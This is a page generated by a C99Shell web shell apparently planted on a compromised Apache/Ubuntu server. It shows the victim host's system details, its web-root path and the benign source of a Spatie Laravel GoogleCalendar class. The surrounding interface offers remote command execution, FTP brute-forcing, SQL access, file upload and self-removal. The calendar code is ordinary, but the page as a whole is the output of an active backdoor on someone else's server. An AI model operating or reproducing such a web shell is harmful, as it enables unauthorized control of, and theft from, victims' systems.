!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/spatie/laravel-google-calendar/src/   drwxrwxr-x
Free 13.13 GB of 57.97 GB (22.65%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     GoogleCalendar.php (3.03 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Spatie\GoogleCalendar;

use 
Carbon\Carbon;
use 
Carbon\CarbonInterface;
use 
DateTime;
use 
Google_Service_Calendar;
use 
Google_Service_Calendar_Event;
use 
Google_Service_Calendar_Events;

class 
GoogleCalendar
{
    
/** @var \Google_Service_Calendar */
    
protected $calendarService;

    
/** @var string */
    
protected $calendarId;

    public function 
__construct(Google_Service_Calendar $calendarServicestring $calendarId)
    {
        
$this->calendarService $calendarService;

        
$this->calendarId $calendarId;
    }

    public function 
getCalendarId(): string
    
{
        return 
$this->calendarId;
    }

    
/*
     * @link https://developers.google.com/google-apps/calendar/v3/reference/events/list
     */
    
public function listEvents(CarbonInterface $startDateTime nullCarbonInterface $endDateTime null, array $queryParameters = []): Google_Service_Calendar_Events
    
{
        
$parameters = [
            
'singleEvents' => true,
            
'orderBy' => 'startTime',
        ];

        if (
is_null($startDateTime)) {
            
$startDateTime Carbon::now()->startOfDay();
        }

        
$parameters['timeMin'] = $startDateTime->format(DateTime::RFC3339);

        if (
is_null($endDateTime)) {
            
$endDateTime Carbon::now()->addYear()->endOfDay();
        }
        
$parameters['timeMax'] = $endDateTime->format(DateTime::RFC3339);

        
$parameters array_merge($parameters$queryParameters);

        return 
$this
            
->calendarService
            
->events
            
->listEvents($this->calendarId$parameters);
    }

    public function 
getEvent(string $eventId): Google_Service_Calendar_Event
    
{
        return 
$this->calendarService->events->get($this->calendarId$eventId);
    }

    
/*
     * @link https://developers.google.com/google-apps/calendar/v3/reference/events/insert
     */
    
public function insertEvent($event$optParams = []): Google_Service_Calendar_Event
    
{
        if (
$event instanceof Event) {
            
$event $event->googleEvent;
        }

        return 
$this->calendarService->events->insert($this->calendarId$event$optParams);
    }

    
/*
    * @link https://developers.google.com/calendar/v3/reference/events/quickAdd
    */
    
public function insertEventFromText(string $event): Google_Service_Calendar_Event
    
{
        return 
$this->calendarService->events->quickAdd($this->calendarId$event);
    }

    public function 
updateEvent($event$optParams = []): Google_Service_Calendar_Event
    
{
        if (
$event instanceof Event) {
            
$event $event->googleEvent;
        }

        return 
$this->calendarService->events->update($this->calendarId$event->id$event$optParams);
    }

    public function 
deleteEvent($eventId$optParams = [])
    {
        if (
$eventId instanceof Event) {
            
$eventId $eventId->id;
        }

        
$this->calendarService->events->delete($this->calendarId$eventId$optParams);
    }

    public function 
getService(): Google_Service_Calendar
    
{
        return 
$this->calendarService;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0068 ]--